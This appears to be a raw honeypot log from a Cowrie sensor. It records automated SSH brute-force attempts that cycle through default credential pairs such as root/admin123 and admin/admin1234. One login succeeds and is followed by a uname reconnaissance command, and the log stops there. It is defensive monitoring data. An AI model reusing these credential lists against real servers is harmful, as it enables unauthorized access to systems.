{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:50.677000Z","src_ip":"23.97.62.150","session":"84caf2a60fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37282,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d2974eb893","protocol":"ssh","message":"New connection: 193.151.144.93:37282 (10.17.0.5:22) [session: 96d2974eb893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:51.533665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:51.542264Z","src_ip":"193.151.144.93","session":"96d2974eb893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:51.702877Z","src_ip":"193.151.144.93","session":"96d2974eb893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:52.305602Z","src_ip":"193.151.144.93","session":"96d2974eb893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:53.467823Z","src_ip":"193.151.144.93","session":"96d2974eb893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37290,"dst_ip":"10.17.0.5","dst_port":22,"session":"75f586d94bf5","protocol":"ssh","message":"New connection: 193.151.144.93:37290 (10.17.0.5:22) [session: 75f586d94bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:57.505175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:57.509455Z","src_ip":"193.151.144.93","session":"75f586d94bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:57.677202Z","src_ip":"193.151.144.93","session":"75f586d94bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:58.180436Z","src_ip":"193.151.144.93","session":"75f586d94bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:59.350329Z","src_ip":"193.151.144.93","session":"75f586d94bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59106,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ca42cfafd5","protocol":"ssh","message":"New connection: 193.151.144.93:59106 (10.17.0.5:22) [session: 64ca42cfafd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:03.423922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:03.431515Z","src_ip":"193.151.144.93","session":"64ca42cfafd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:03.601260Z","src_ip":"193.151.144.93","session":"64ca42cfafd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:04.110983Z","src_ip":"193.151.144.93","session":"64ca42cfafd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61095190048218,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:04.963894Z","src_ip":"69.4.83.194","session":"3f6dda42aeea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:05.282593Z","src_ip":"193.151.144.93","session":"64ca42cfafd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59338,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79387007ff1","protocol":"telnet","message":"New connection: 69.4.83.194:59338 (159.203.135.109:23) [session: b79387007ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:06.051514Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f8384a8aa2","protocol":"ssh","message":"New connection: 193.151.144.93:59112 (10.17.0.5:22) [session: 25f8384a8aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:09.134248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:09.138791Z","src_ip":"193.151.144.93","session":"25f8384a8aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:09.305697Z","src_ip":"193.151.144.93","session":"25f8384a8aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:09.806092Z","src_ip":"193.151.144.93","session":"25f8384a8aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:10.975714Z","src_ip":"193.151.144.93","session":"25f8384a8aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44048,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda23f123aed","protocol":"ssh","message":"New connection: 193.151.144.93:44048 (10.17.0.5:22) [session: eda23f123aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:14.569491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:14.574110Z","src_ip":"193.151.144.93","session":"eda23f123aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:14.738707Z","src_ip":"193.151.144.93","session":"eda23f123aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:15.234171Z","src_ip":"193.151.144.93","session":"eda23f123aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:18.077112Z","src_ip":"193.151.144.93","session":"eda23f123aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ed8f7b09f2","protocol":"ssh","message":"New connection: 193.151.144.93:44052 (10.17.0.5:22) [session: 28ed8f7b09f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:19.844536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:19.850035Z","src_ip":"193.151.144.93","session":"28ed8f7b09f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:20.023551Z","src_ip":"193.151.144.93","session":"28ed8f7b09f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:24.354372Z","src_ip":"193.151.144.93","session":"28ed8f7b09f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52196,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f26a5f9245","protocol":"ssh","message":"New connection: 193.151.144.93:52196 (10.17.0.5:22) [session: 08f26a5f9245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:25.461245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:25.464483Z","src_ip":"193.151.144.93","session":"08f26a5f9245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:25.532061Z","src_ip":"193.151.144.93","session":"28ed8f7b09f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:25.629716Z","src_ip":"193.151.144.93","session":"08f26a5f9245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:26.125218Z","src_ip":"193.151.144.93","session":"08f26a5f9245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:27.293085Z","src_ip":"193.151.144.93","session":"08f26a5f9245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59646,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0a0bce53428","protocol":"ssh","message":"New connection: 193.151.144.93:59646 (10.17.0.5:22) [session: d0a0bce53428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:30.859247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:30.864788Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:31.030794Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:31.530677Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:32.329517Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:32.332426Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
